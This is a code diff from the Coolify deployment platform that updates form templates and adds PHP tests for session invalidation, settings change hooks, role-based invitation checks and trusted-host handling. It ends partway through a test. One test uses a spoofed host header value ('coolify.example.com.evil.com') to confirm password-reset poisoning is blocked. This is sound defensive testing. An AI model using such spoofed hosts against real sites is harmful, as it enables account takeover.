<svg class="w-5 h-5" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" <svg class="w-5 h-5" xmlns="http://www.w3.org/2000/svg" fill="none"
stroke-width="1.5" stroke="currentColor"> viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor">
<path stroke-linecap="round" stroke-linejoin="round" d="M6 18L18 6M6 6l12 12" /> <path stroke-linecap="round" stroke-linejoin="round" d="M6 18L18 6M6 6l12 12" />
</svg> </svg>
</button> </button>
@@ -1060,10 +1099,12 @@
if (firstInput) firstInput.focus(); if (firstInput) firstInput.focus();
}, 200); }, 200);
} }
})" class="fixed top-0 left-0 lg:px-0 px-4 z-99 flex items-center justify-center w-screen h-screen"> })"
<div x-show="modalOpen" x-transition:enter="ease-out duration-100" x-transition:enter-start="opacity-0" class="fixed top-0 left-0 lg:px-0 px-4 z-99 flex items-center justify-center w-screen h-screen">
x-transition:enter-end="opacity-100" x-transition:leave="ease-in duration-100" <div x-show="modalOpen" x-transition:enter="ease-out duration-100"
x-transition:leave-start="opacity-100" x-transition:leave-end="opacity-0" @click="modalOpen=false" x-transition:enter-start="opacity-0" x-transition:enter-end="opacity-100"
x-transition:leave="ease-in duration-100" x-transition:leave-start="opacity-100"
x-transition:leave-end="opacity-0" @click="modalOpen=false"
class="absolute inset-0 w-full h-full bg-black/20 backdrop-blur-xs"></div> class="absolute inset-0 w-full h-full bg-black/20 backdrop-blur-xs"></div>
<div x-show="modalOpen" x-trap.inert.noscroll="modalOpen" x-transition:enter="ease-out duration-100" <div x-show="modalOpen" x-trap.inert.noscroll="modalOpen" x-transition:enter="ease-out duration-100"
x-transition:enter-start="opacity-0 -translate-y-2 sm:scale-95" x-transition:enter-start="opacity-0 -translate-y-2 sm:scale-95"
@@ -1076,8 +1117,8 @@
<h3 class="text-2xl font-bold">New GitHub App</h3> <h3 class="text-2xl font-bold">New GitHub App</h3>
<button @click="modalOpen=false" <button @click="modalOpen=false"
class="absolute top-0 right-0 flex items-center justify-center w-8 h-8 mt-5 mr-5 rounded-full dark:text-white hover:bg-neutral-100 dark:hover:bg-coolgray-300 outline-0 focus-visible:ring-2 focus-visible:ring-coollabs dark:focus-visible:ring-warning"> class="absolute top-0 right-0 flex items-center justify-center w-8 h-8 mt-5 mr-5 rounded-full dark:text-white hover:bg-neutral-100 dark:hover:bg-coolgray-300 outline-0 focus-visible:ring-2 focus-visible:ring-coollabs dark:focus-visible:ring-warning">
<svg class="w-5 h-5" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" <svg class="w-5 h-5" xmlns="http://www.w3.org/2000/svg" fill="none"
stroke-width="1.5" stroke="currentColor"> viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor">
<path stroke-linecap="round" stroke-linejoin="round" d="M6 18L18 6M6 6l12 12" /> <path stroke-linecap="round" stroke-linejoin="round" d="M6 18L18 6M6 6l12 12" />
</svg> </svg>
</button> </button>
@@ -1090,4 +1131,4 @@
</template> </template>
</div> </div>
</div> </div>

View File

@@ -90,12 +90,12 @@
@if ($application->build_pack !== 'dockercompose') @if ($application->build_pack !== 'dockercompose')
<div class="flex items-end gap-2"> <div class="flex items-end gap-2">
@if ($application->settings->is_container_label_readonly_enabled == false) @if ($application->settings->is_container_label_readonly_enabled == false)
<x-forms.input placeholder="https://coolify.io" wire:model.blur="fqdn" <x-forms.input placeholder="https://coolify.io" wire:model="application.fqdn"
label="Domains" readonly label="Domains" readonly
helper="Readonly labels are disabled. You can set the domains in the labels section." helper="Readonly labels are disabled. You can set the domains in the labels section."
x-bind:disabled="!canUpdate" /> x-bind:disabled="!canUpdate" />
@else @else
<x-forms.input placeholder="https://coolify.io" wire:model.blur="fqdn" <x-forms.input placeholder="https://coolify.io" wire:model="application.fqdn"
label="Domains" label="Domains"
helper="You can specify one domain with path or more with comma. You can specify a port to bind the domain to.<br><br><span class='text-helper'>Example</span><br>- http://app.coolify.io,https://cloud.coolify.io/dashboard<br>- http://app.coolify.io/api/v3<br>- http://app.coolify.io:3000 -> app.coolify.io will point to port 3000 inside the container. " helper="You can specify one domain with path or more with comma. You can specify a port to bind the domain to.<br><br><span class='text-helper'>Example</span><br>- http://app.coolify.io,https://cloud.coolify.io/dashboard<br>- http://app.coolify.io/api/v3<br>- http://app.coolify.io:3000 -> app.coolify.io will point to port 3000 inside the container. "
x-bind:disabled="!canUpdate" /> x-bind:disabled="!canUpdate" />

View File

@@ -7,7 +7,7 @@
<x-forms.button type="submit">Save</x-forms.button> <x-forms.button type="submit">Save</x-forms.button>
</div> </div>
<x-forms.textarea useMonacoEditor monacoEditorLanguage="yaml" label="Docker Compose file" rows="20" <x-forms.textarea useMonacoEditor monacoEditorLanguage="yaml" label="Docker Compose file" rows="20"
id="dockerComposeRaw" id="dockerComposeRaw" autofocus
placeholder='services: placeholder='services:
ghost: ghost:
documentation: https://ghost.org/docs/config documentation: https://ghost.org/docs/config

View File

@@ -7,8 +7,8 @@
<x-forms.button type="submit">Save</x-forms.button> <x-forms.button type="submit">Save</x-forms.button>
</div> </div>
<div class="space-y-4"> <div class="space-y-4">
<x-forms.input id="imageName" label="Image Name" placeholder="nginx or ghcr.io/user/app" <x-forms.input id="imageName" label="Image Name" placeholder="nginx, docker.io/nginx:latest, ghcr.io/user/app:v1.2.3, or nginx:stable@sha256:abc123..."
helper="Enter the Docker image name with optional registry. Examples: nginx, ghcr.io/user/app, localhost:5000/myapp" helper="Enter the Docker image name with optional registry. You can also paste a complete reference like 'nginx:stable@sha256:abc123...' and the fields below will be auto-filled."
required autofocus /> required autofocus />
<div class="relative grid grid-cols-1 gap-4 md:grid-cols-2"> <div class="relative grid grid-cols-1 gap-4 md:grid-cols-2">
<x-forms.input id="imageTag" label="Tag (optional)" placeholder="latest" <x-forms.input id="imageTag" label="Tag (optional)" placeholder="latest"

View File

@@ -6,7 +6,7 @@
<h2>Dockerfile</h2> <h2>Dockerfile</h2>
<x-forms.button type="submit">Save</x-forms.button> <x-forms.button type="submit">Save</x-forms.button>
</div> </div>
<x-forms.textarea rows="20" id="dockerfile" <x-forms.textarea useMonacoEditor monacoEditorLanguage="dockerfile" rows="20" id="dockerfile" autofocus
placeholder='FROM nginx placeholder='FROM nginx
EXPOSE 80 EXPOSE 80
CMD ["nginx", "-g", "daemon off;"] CMD ["nginx", "-g", "daemon off;"]

View File

@@ -14,15 +14,22 @@
<x-forms.input required id="name" label="Token Name" <x-forms.input required id="name" label="Token Name"
placeholder="e.g., Production Hetzner. tip: add Hetzner project name to identify easier" /> placeholder="e.g., Production Hetzner. tip: add Hetzner project name to identify easier" />
<x-forms.input required type="password" id="token" label="API Token" <x-forms.input required type="password" id="token" label="API Token" placeholder="Enter your API token" />
placeholder="Enter your API token" />
@if (auth()->user()->currentTeam()->cloudProviderTokens->where('provider', $provider)->isEmpty()) @if (auth()->user()->currentTeam()->cloudProviderTokens->where('provider', $provider)->isEmpty())
<div class="text-sm text-neutral-500 dark:text-neutral-400"> <div class="text-sm text-neutral-500 dark:text-neutral-400">
Create an API token in the <a Create an API token in the <a
href='{{ $provider === 'hetzner' ? 'https://console.hetzner.com/projects' : '#' }}' href='{{ $provider === 'hetzner' ? 'https://console.hetzner.com/projects' : '#' }}' target='_blank'
target='_blank' class='underline dark:text-white'>{{ ucfirst($provider) }} Console</a> choose class='underline dark:text-white'>{{ ucfirst($provider) }} Console</a> choose
Project Security API Tokens. Project Security API Tokens.
@if ($provider === 'hetzner')
<br><br>
Don't have a Hetzner account? <a href='https://coolify.io/hetzner' target='_blank'
class='underline dark:text-white'>Sign up here</a>
<br>
<span class="text-xs">(Coolify's affiliate link, only new accounts - supports us (€10)
and gives you €20)</span>
@endif
</div> </div>
@endif @endif
@@ -42,13 +49,18 @@
</div> </div>
</div> </div>
<div class="flex-1 min-w-64"> <div class="flex-1 min-w-64">
<x-forms.input required type="password" id="token" label="API Token" <x-forms.input required type="password" id="token" label="API Token" placeholder="Enter your API token" />
placeholder="Enter your API token" />
@if (auth()->user()->currentTeam()->cloudProviderTokens->where('provider', $provider)->isEmpty()) @if (auth()->user()->currentTeam()->cloudProviderTokens->where('provider', $provider)->isEmpty())
<div class="text-sm text-neutral-500 dark:text-neutral-400 mt-2"> <div class="text-sm text-neutral-500 dark:text-neutral-400 mt-2">
Create an API token in the <a href='https://console.hetzner.com/projects' target='_blank' Create an API token in the <a href='https://console.hetzner.com/projects' target='_blank'
class='underline dark:text-white'>Hetzner Console</a> choose Project Security API class='underline dark:text-white'>Hetzner Console</a> choose Project Security API
Tokens. Tokens.
<br><br>
Don't have a Hetzner account? <a href='https://coolify.io/hetzner' target='_blank'
class='underline dark:text-white'>Sign up here</a>
<br>
<span class="text-xs">(Coolify's affiliate link, only new accounts - supports us (€10)
and gives you €20)</span>
</div> </div>
@endif @endif
</div> </div>

View File

@@ -68,11 +68,14 @@
@foreach ($this->availableServerTypes as $serverType) @foreach ($this->availableServerTypes as $serverType)
<option value="{{ $serverType['name'] }}"> <option value="{{ $serverType['name'] }}">
{{ $serverType['description'] }} - {{ $serverType['description'] }} -
{{ $serverType['cores'] }} vCPU, {{ $serverType['cores'] }} vCPU
{{ $serverType['memory'] }}GB RAM, @if (isset($serverType['cpu_vendor_info']) && $serverType['cpu_vendor_info'])
({{ $serverType['cpu_vendor_info'] }})
@endif
, {{ $serverType['memory'] }}GB RAM,
{{ $serverType['disk'] }}GB {{ $serverType['disk'] }}GB
@if (isset($serverType['architecture'])) @if (isset($serverType['architecture']))
({{ $serverType['architecture'] }}) [{{ $serverType['architecture'] }}]
@endif @endif
@if (isset($serverType['prices'])) @if (isset($serverType['prices']))
- -

View File

@@ -0,0 +1,136 @@
<?php
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Hash;
uses(RefreshDatabase::class);
it('invalidates sessions when password changes', function () {
// Create a user
$user = User::factory()->create([
'password' => Hash::make('old-password'),
]);
// Create fake session records for the user
DB::table('sessions')->insert([
[
'id' => 'session-1',
'user_id' => $user->id,
'ip_address' => '127.0.0.1',
'user_agent' => 'Test Browser',
'payload' => base64_encode('test-payload-1'),
'last_activity' => now()->timestamp,
],
[
'id' => 'session-2',
'user_id' => $user->id,
'ip_address' => '127.0.0.1',
'user_agent' => 'Test Browser',
'payload' => base64_encode('test-payload-2'),
'last_activity' => now()->timestamp,
],
]);
// Verify sessions exist
expect(DB::table('sessions')->where('user_id', $user->id)->count())->toBe(2);
// Change password
$user->password = Hash::make('new-password');
$user->save();
// Verify all sessions for this user were deleted
expect(DB::table('sessions')->where('user_id', $user->id)->count())->toBe(0);
});
it('does not invalidate sessions when password is unchanged', function () {
// Create a user
$user = User::factory()->create([
'password' => Hash::make('password'),
]);
// Create fake session records for the user
DB::table('sessions')->insert([
[
'id' => 'session-1',
'user_id' => $user->id,
'ip_address' => '127.0.0.1',
'user_agent' => 'Test Browser',
'payload' => base64_encode('test-payload'),
'last_activity' => now()->timestamp,
],
]);
// Update other user fields (not password)
$user->name = 'New Name';
$user->save();
// Verify session still exists
expect(DB::table('sessions')->where('user_id', $user->id)->count())->toBe(1);
});
it('does not invalidate sessions when password is set to same value', function () {
// Create a user with a specific password
$hashedPassword = Hash::make('password');
$user = User::factory()->create([
'password' => $hashedPassword,
]);
// Create fake session records for the user
DB::table('sessions')->insert([
[
'id' => 'session-1',
'user_id' => $user->id,
'ip_address' => '127.0.0.1',
'user_agent' => 'Test Browser',
'payload' => base64_encode('test-payload'),
'last_activity' => now()->timestamp,
],
]);
// Set password to the same value
$user->password = $hashedPassword;
$user->save();
// Verify session still exists (password didn't actually change)
expect(DB::table('sessions')->where('user_id', $user->id)->count())->toBe(1);
});
it('invalidates sessions only for the user whose password changed', function () {
// Create two users
$user1 = User::factory()->create([
'password' => Hash::make('password1'),
]);
$user2 = User::factory()->create([
'password' => Hash::make('password2'),
]);
// Create sessions for both users
DB::table('sessions')->insert([
[
'id' => 'session-user1',
'user_id' => $user1->id,
'ip_address' => '127.0.0.1',
'user_agent' => 'Test Browser',
'payload' => base64_encode('test-payload-1'),
'last_activity' => now()->timestamp,
],
[
'id' => 'session-user2',
'user_id' => $user2->id,
'ip_address' => '127.0.0.1',
'user_agent' => 'Test Browser',
'payload' => base64_encode('test-payload-2'),
'last_activity' => now()->timestamp,
],
]);
// Change password for user1 only
$user1->password = Hash::make('new-password1');
$user1->save();
// Verify user1's sessions were deleted but user2's remain
expect(DB::table('sessions')->where('user_id', $user1->id)->count())->toBe(0);
expect(DB::table('sessions')->where('user_id', $user2->id)->count())->toBe(1);
});

View File

@@ -0,0 +1,81 @@
<?php
use App\Jobs\PullHelperImageJob;
use App\Models\InstanceSettings;
use App\Models\Server;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\Queue;
uses(RefreshDatabase::class);
it('dispatches PullHelperImageJob when helper_version changes', function () {
Queue::fake();
// Create user and servers
$user = User::factory()->create();
$team = $user->teams()->first();
Server::factory()->count(3)->create(['team_id' => $team->id]);
$settings = InstanceSettings::firstOrCreate([], ['helper_version' => 'v1.0.0']);
// Change helper_version
$settings->helper_version = 'v1.2.3';
$settings->save();
// Verify PullHelperImageJob was dispatched for all servers
Queue::assertPushed(PullHelperImageJob::class, 3);
});
it('does not dispatch PullHelperImageJob when helper_version is unchanged', function () {
Queue::fake();
// Create user and servers
$user = User::factory()->create();
$team = $user->teams()->first();
Server::factory()->count(3)->create(['team_id' => $team->id]);
$settings = InstanceSettings::firstOrCreate([], ['helper_version' => 'v1.0.0']);
$currentVersion = $settings->helper_version;
// Set to same value
$settings->helper_version = $currentVersion;
$settings->save();
// Verify no jobs were dispatched
Queue::assertNotPushed(PullHelperImageJob::class);
});
it('does not dispatch PullHelperImageJob when other fields change', function () {
Queue::fake();
// Create user and servers
$user = User::factory()->create();
$team = $user->teams()->first();
Server::factory()->count(3)->create(['team_id' => $team->id]);
$settings = InstanceSettings::firstOrCreate([], ['helper_version' => 'v1.0.0']);
// Change different field
$settings->is_auto_update_enabled = ! $settings->is_auto_update_enabled;
$settings->save();
// Verify no jobs were dispatched
Queue::assertNotPushed(PullHelperImageJob::class);
});
it('detects helper_version changes with wasChanged', function () {
$changeDetected = false;
InstanceSettings::updated(function ($settings) use (&$changeDetected) {
if ($settings->wasChanged('helper_version')) {
$changeDetected = true;
}
});
$settings = InstanceSettings::firstOrCreate([], ['helper_version' => 'v1.0.0']);
$settings->helper_version = 'v2.0.0';
$settings->save();
expect($changeDetected)->toBeTrue();
});

View File

@@ -0,0 +1,139 @@
<?php
use App\Models\Server;
use App\Models\ServerSetting;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
uses(RefreshDatabase::class);
beforeEach(function () {
// Create user (which automatically creates a team)
$user = User::factory()->create();
$this->team = $user->teams()->first();
// Create server with the team
$this->server = Server::factory()->create([
'team_id' => $this->team->id,
]);
});
it('detects sentinel_token changes with wasChanged', function () {
$changeDetected = false;
// Register a test listener that will be called after the model's booted listeners
ServerSetting::updated(function ($settings) use (&$changeDetected) {
if ($settings->wasChanged('sentinel_token')) {
$changeDetected = true;
}
});
$settings = $this->server->settings;
$settings->sentinel_token = 'new-token-value';
$settings->save();
expect($changeDetected)->toBeTrue();
});
it('detects sentinel_custom_url changes with wasChanged', function () {
$changeDetected = false;
ServerSetting::updated(function ($settings) use (&$changeDetected) {
if ($settings->wasChanged('sentinel_custom_url')) {
$changeDetected = true;
}
});
$settings = $this->server->settings;
$settings->sentinel_custom_url = 'https://new-url.com';
$settings->save();
expect($changeDetected)->toBeTrue();
});
it('detects sentinel_metrics_refresh_rate_seconds changes with wasChanged', function () {
$changeDetected = false;
ServerSetting::updated(function ($settings) use (&$changeDetected) {
if ($settings->wasChanged('sentinel_metrics_refresh_rate_seconds')) {
$changeDetected = true;
}
});
$settings = $this->server->settings;
$settings->sentinel_metrics_refresh_rate_seconds = 60;
$settings->save();
expect($changeDetected)->toBeTrue();
});
it('detects sentinel_metrics_history_days changes with wasChanged', function () {
$changeDetected = false;
ServerSetting::updated(function ($settings) use (&$changeDetected) {
if ($settings->wasChanged('sentinel_metrics_history_days')) {
$changeDetected = true;
}
});
$settings = $this->server->settings;
$settings->sentinel_metrics_history_days = 14;
$settings->save();
expect($changeDetected)->toBeTrue();
});
it('detects sentinel_push_interval_seconds changes with wasChanged', function () {
$changeDetected = false;
ServerSetting::updated(function ($settings) use (&$changeDetected) {
if ($settings->wasChanged('sentinel_push_interval_seconds')) {
$changeDetected = true;
}
});
$settings = $this->server->settings;
$settings->sentinel_push_interval_seconds = 30;
$settings->save();
expect($changeDetected)->toBeTrue();
});
it('does not detect changes when unrelated field is changed', function () {
$changeDetected = false;
ServerSetting::updated(function ($settings) use (&$changeDetected) {
if (
$settings->wasChanged('sentinel_token') ||
$settings->wasChanged('sentinel_custom_url') ||
$settings->wasChanged('sentinel_metrics_refresh_rate_seconds') ||
$settings->wasChanged('sentinel_metrics_history_days') ||
$settings->wasChanged('sentinel_push_interval_seconds')
) {
$changeDetected = true;
}
});
$settings = $this->server->settings;
$settings->is_reachable = ! $settings->is_reachable;
$settings->save();
expect($changeDetected)->toBeFalse();
});
it('does not detect changes when sentinel field is set to same value', function () {
$changeDetected = false;
ServerSetting::updated(function ($settings) use (&$changeDetected) {
if ($settings->wasChanged('sentinel_token')) {
$changeDetected = true;
}
});
$settings = $this->server->settings;
$currentToken = $settings->sentinel_token;
$settings->sentinel_token = $currentToken;
$settings->save();
expect($changeDetected)->toBeFalse();
});

View File

@@ -0,0 +1,64 @@
<?php
use App\Models\Server;
use App\Models\ServerSetting;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
uses(RefreshDatabase::class);
it('wasChanged returns true after saving a changed field', function () {
// Create user and server
$user = User::factory()->create();
$team = $user->teams()->first();
$server = Server::factory()->create(['team_id' => $team->id]);
$settings = $server->settings;
// Change a field
$settings->is_reachable = ! $settings->is_reachable;
$settings->save();
// In the updated hook, wasChanged should return true
expect($settings->wasChanged('is_reachable'))->toBeTrue();
});
it('isDirty returns false after saving', function () {
// Create user and server
$user = User::factory()->create();
$team = $user->teams()->first();
$server = Server::factory()->create(['team_id' => $team->id]);
$settings = $server->settings;
// Change a field
$settings->is_reachable = ! $settings->is_reachable;
$settings->save();
// After save, isDirty returns false (this is the bug)
expect($settings->isDirty('is_reachable'))->toBeFalse();
});
it('can detect sentinel_token changes with wasChanged', function () {
// Create user and server
$user = User::factory()->create();
$team = $user->teams()->first();
$server = Server::factory()->create(['team_id' => $team->id]);
$settings = $server->settings;
$originalToken = $settings->sentinel_token;
// Create a tracking variable using model events
$tokenWasChanged = false;
ServerSetting::updated(function ($model) use (&$tokenWasChanged) {
if ($model->wasChanged('sentinel_token')) {
$tokenWasChanged = true;
}
});
// Change the token
$settings->sentinel_token = 'new-token-value-for-testing';
$settings->save();
expect($tokenWasChanged)->toBeTrue();
});

View File

@@ -0,0 +1,176 @@
<?php
use App\Livewire\Team\InviteLink;
use App\Models\Team;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Livewire\Livewire;
uses(RefreshDatabase::class);
beforeEach(function () {
// Create a team with owner, admin, and member
$this->team = Team::factory()->create();
$this->owner = User::factory()->create();
$this->admin = User::factory()->create();
$this->member = User::factory()->create();
$this->team->members()->attach($this->owner->id, ['role' => 'owner']);
$this->team->members()->attach($this->admin->id, ['role' => 'admin']);
$this->team->members()->attach($this->member->id, ['role' => 'member']);
});
describe('privilege escalation prevention', function () {
test('member cannot invite admin (SECURITY FIX)', function () {
// Login as member
$this->actingAs($this->member);
session(['currentTeam' => $this->team]);
// Attempt to invite someone as admin
Livewire::test(InviteLink::class)
->set('email', 'newadmin@example.com')
->set('role', 'admin')
->call('viaLink')
->assertDispatched('error');
});
test('member cannot invite owner (SECURITY FIX)', function () {
// Login as member
$this->actingAs($this->member);
session(['currentTeam' => $this->team]);
// Attempt to invite someone as owner
Livewire::test(InviteLink::class)
->set('email', 'newowner@example.com')
->set('role', 'owner')
->call('viaLink')
->assertDispatched('error');
});
test('admin cannot invite owner', function () {
// Login as admin
$this->actingAs($this->admin);
session(['currentTeam' => $this->team]);
// Attempt to invite someone as owner
Livewire::test(InviteLink::class)
->set('email', 'newowner@example.com')
->set('role', 'owner')
->call('viaLink')
->assertDispatched('error');
});
test('admin can invite member', function () {
// Login as admin
$this->actingAs($this->admin);
session(['currentTeam' => $this->team]);
// Invite someone as member
Livewire::test(InviteLink::class)
->set('email', 'newmember@example.com')
->set('role', 'member')
->call('viaLink')
->assertDispatched('success');
// Verify invitation was created
$this->assertDatabaseHas('team_invitations', [
'email' => 'newmember@example.com',
'role' => 'member',
'team_id' => $this->team->id,
]);
});
test('admin can invite admin', function () {
// Login as admin
$this->actingAs($this->admin);
session(['currentTeam' => $this->team]);
// Invite someone as admin
Livewire::test(InviteLink::class)
->set('email', 'newadmin@example.com')
->set('role', 'admin')
->call('viaLink')
->assertDispatched('success');
// Verify invitation was created
$this->assertDatabaseHas('team_invitations', [
'email' => 'newadmin@example.com',
'role' => 'admin',
'team_id' => $this->team->id,
]);
});
test('owner can invite member', function () {
// Login as owner
$this->actingAs($this->owner);
session(['currentTeam' => $this->team]);
// Invite someone as member
Livewire::test(InviteLink::class)
->set('email', 'newmember@example.com')
->set('role', 'member')
->call('viaLink')
->assertDispatched('success');
// Verify invitation was created
$this->assertDatabaseHas('team_invitations', [
'email' => 'newmember@example.com',
'role' => 'member',
'team_id' => $this->team->id,
]);
});
test('owner can invite admin', function () {
// Login as owner
$this->actingAs($this->owner);
session(['currentTeam' => $this->team]);
// Invite someone as admin
Livewire::test(InviteLink::class)
->set('email', 'newadmin@example.com')
->set('role', 'admin')
->call('viaLink')
->assertDispatched('success');
// Verify invitation was created
$this->assertDatabaseHas('team_invitations', [
'email' => 'newadmin@example.com',
'role' => 'admin',
'team_id' => $this->team->id,
]);
});
test('owner can invite owner', function () {
// Login as owner
$this->actingAs($this->owner);
session(['currentTeam' => $this->team]);
// Invite someone as owner
Livewire::test(InviteLink::class)
->set('email', 'newowner@example.com')
->set('role', 'owner')
->call('viaLink')
->assertDispatched('success');
// Verify invitation was created
$this->assertDatabaseHas('team_invitations', [
'email' => 'newowner@example.com',
'role' => 'owner',
'team_id' => $this->team->id,
]);
});
test('member cannot bypass policy by calling viaEmail', function () {
// Login as member
$this->actingAs($this->member);
session(['currentTeam' => $this->team]);
// Attempt to invite someone as admin via email
Livewire::test(InviteLink::class)
->set('email', 'newadmin@example.com')
->set('role', 'admin')
->call('viaEmail')
->assertDispatched('error');
});
});

View File

@@ -0,0 +1,184 @@
<?php
use App\Models\Team;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
uses(RefreshDatabase::class);
beforeEach(function () {
// Create a team with owner, admin, and member
$this->team = Team::factory()->create();
$this->owner = User::factory()->create();
$this->admin = User::factory()->create();
$this->member = User::factory()->create();
$this->team->members()->attach($this->owner->id, ['role' => 'owner']);
$this->team->members()->attach($this->admin->id, ['role' => 'admin']);
$this->team->members()->attach($this->member->id, ['role' => 'member']);
});
describe('update permission', function () {
test('owner can update team', function () {
$this->actingAs($this->owner);
session(['currentTeam' => $this->team]);
expect($this->owner->can('update', $this->team))->toBeTrue();
});
test('admin can update team', function () {
$this->actingAs($this->admin);
session(['currentTeam' => $this->team]);
expect($this->admin->can('update', $this->team))->toBeTrue();
});
test('member cannot update team', function () {
$this->actingAs($this->member);
session(['currentTeam' => $this->team]);
expect($this->member->can('update', $this->team))->toBeFalse();
});
test('non-team member cannot update team', function () {
$outsider = User::factory()->create();
$this->actingAs($outsider);
session(['currentTeam' => $this->team]);
expect($outsider->can('update', $this->team))->toBeFalse();
});
});
describe('delete permission', function () {
test('owner can delete team', function () {
$this->actingAs($this->owner);
session(['currentTeam' => $this->team]);
expect($this->owner->can('delete', $this->team))->toBeTrue();
});
test('admin can delete team', function () {
$this->actingAs($this->admin);
session(['currentTeam' => $this->team]);
expect($this->admin->can('delete', $this->team))->toBeTrue();
});
test('member cannot delete team', function () {
$this->actingAs($this->member);
session(['currentTeam' => $this->team]);
expect($this->member->can('delete', $this->team))->toBeFalse();
});
test('non-team member cannot delete team', function () {
$outsider = User::factory()->create();
$this->actingAs($outsider);
session(['currentTeam' => $this->team]);
expect($outsider->can('delete', $this->team))->toBeFalse();
});
});
describe('manageMembers permission', function () {
test('owner can manage members', function () {
$this->actingAs($this->owner);
session(['currentTeam' => $this->team]);
expect($this->owner->can('manageMembers', $this->team))->toBeTrue();
});
test('admin can manage members', function () {
$this->actingAs($this->admin);
session(['currentTeam' => $this->team]);
expect($this->admin->can('manageMembers', $this->team))->toBeTrue();
});
test('member cannot manage members', function () {
$this->actingAs($this->member);
session(['currentTeam' => $this->team]);
expect($this->member->can('manageMembers', $this->team))->toBeFalse();
});
test('non-team member cannot manage members', function () {
$outsider = User::factory()->create();
$this->actingAs($outsider);
session(['currentTeam' => $this->team]);
expect($outsider->can('manageMembers', $this->team))->toBeFalse();
});
});
describe('viewAdmin permission', function () {
test('owner can view admin panel', function () {
$this->actingAs($this->owner);
session(['currentTeam' => $this->team]);
expect($this->owner->can('viewAdmin', $this->team))->toBeTrue();
});
test('admin can view admin panel', function () {
$this->actingAs($this->admin);
session(['currentTeam' => $this->team]);
expect($this->admin->can('viewAdmin', $this->team))->toBeTrue();
});
test('member cannot view admin panel', function () {
$this->actingAs($this->member);
session(['currentTeam' => $this->team]);
expect($this->member->can('viewAdmin', $this->team))->toBeFalse();
});
test('non-team member cannot view admin panel', function () {
$outsider = User::factory()->create();
$this->actingAs($outsider);
session(['currentTeam' => $this->team]);
expect($outsider->can('viewAdmin', $this->team))->toBeFalse();
});
});
describe('manageInvitations permission (privilege escalation fix)', function () {
test('owner can manage invitations', function () {
$this->actingAs($this->owner);
session(['currentTeam' => $this->team]);
expect($this->owner->can('manageInvitations', $this->team))->toBeTrue();
});
test('admin can manage invitations', function () {
$this->actingAs($this->admin);
session(['currentTeam' => $this->team]);
expect($this->admin->can('manageInvitations', $this->team))->toBeTrue();
});
test('member cannot manage invitations (SECURITY FIX)', function () {
// This test verifies the privilege escalation vulnerability is fixed
// Previously, members could see and manage admin invitations
$this->actingAs($this->member);
session(['currentTeam' => $this->team]);
expect($this->member->can('manageInvitations', $this->team))->toBeFalse();
});
test('non-team member cannot manage invitations', function () {
$outsider = User::factory()->create();
$this->actingAs($outsider);
session(['currentTeam' => $this->team]);
expect($outsider->can('manageInvitations', $this->team))->toBeFalse();
});
});
describe('view permission', function () {
test('owner can view team', function () {
$this->actingAs($this->owner);
session(['currentTeam' => $this->team]);
expect($this->owner->can('view', $this->team))->toBeTrue();
});
test('admin can view team', function () {
$this->actingAs($this->admin);
session(['currentTeam' => $this->team]);
expect($this->admin->can('view', $this->team))->toBeTrue();
});
test('member can view team', function () {
$this->actingAs($this->member);
session(['currentTeam' => $this->team]);
expect($this->member->can('view', $this->team))->toBeTrue();
});
test('non-team member cannot view team', function () {
$outsider = User::factory()->create();
$this->actingAs($outsider);
session(['currentTeam' => $this->team]);
expect($outsider->can('view', $this->team))->toBeFalse();
});
});

View File

@@ -0,0 +1,229 @@
<?php
use App\Http\Middleware\TrustHosts;
use App\Models\InstanceSettings;
use Illuminate\Support\Facades\Cache;
uses(\Illuminate\Foundation\Testing\RefreshDatabase::class);
beforeEach(function () {
// Clear cache before each test to ensure isolation
Cache::forget('instance_settings_fqdn_host');
});
it('trusts the configured FQDN from InstanceSettings', function () {
// Create instance settings with FQDN
InstanceSettings::updateOrCreate(
['id' => 0],
['fqdn' => 'https://coolify.example.com']
);
$middleware = new TrustHosts($this->app);
$hosts = $middleware->hosts();
expect($hosts)->toContain('coolify.example.com');
});
it('rejects password reset request with malicious host header', function () {
// Set up instance settings with legitimate FQDN
InstanceSettings::updateOrCreate(
['id' => 0],
['fqdn' => 'https://coolify.example.com']
);
$middleware = new TrustHosts($this->app);
$hosts = $middleware->hosts();
// The malicious host should NOT be in the trusted hosts
expect($hosts)->not->toContain('coolify.example.com.evil.com');
expect($hosts)->toContain('coolify.example.com');
});
it('handles missing FQDN gracefully', function () {
// Create instance settings without FQDN
InstanceSettings::updateOrCreate(
['id' => 0],
['fqdn' => null]
);
$middleware = new TrustHosts($this->app);
$hosts = $middleware->hosts();
// Should still return APP_URL pattern without throwing
expect($hosts)->not->toBeEmpty();
});
it('filters out null and empty values from trusted hosts', function () {
InstanceSettings::updateOrCreate(
['id' => 0],
['fqdn' => '']
);
$middleware = new TrustHosts($this->app);
$hosts = $middleware->hosts();
// Should not contain empty strings or null
foreach ($hosts as $host) {
if ($host !== null) {
expect($host)->not->toBeEmpty();
}
}
});
it('extracts host from FQDN with protocol and port', function () {
InstanceSettings::updateOrCreate(
['id' => 0],
['fqdn' => 'https://coolify.example.com:8443']
);
$middleware = new TrustHosts($this->app);
$hosts = $middleware->hosts();
expect($hosts)->toContain('coolify.example.com');
});
it('handles exception during InstanceSettings fetch', function () {
// Drop the instance_settings table to simulate installation
\Schema::dropIfExists('instance_settings');
$middleware = new TrustHosts($this->app);
// Should not throw an exception
$hosts = $middleware->hosts();
expect($hosts)->not->toBeEmpty();
});
it('trusts IP addresses with port', function () {
InstanceSettings::updateOrCreate(
['id' => 0],
['fqdn' => 'http://65.21.3.91:8000']
);
$middleware = new TrustHosts($this->app);
$hosts = $middleware->hosts();
expect($hosts)->toContain('65.21.3.91');
});
it('trusts IP addresses without port', function () {
InstanceSettings::updateOrCreate(
['id' => 0],
['fqdn' => 'http://192.168.1.100']
);
$middleware = new TrustHosts($this->app);
$hosts = $middleware->hosts();
expect($hosts)->toContain('192.168.1.100');
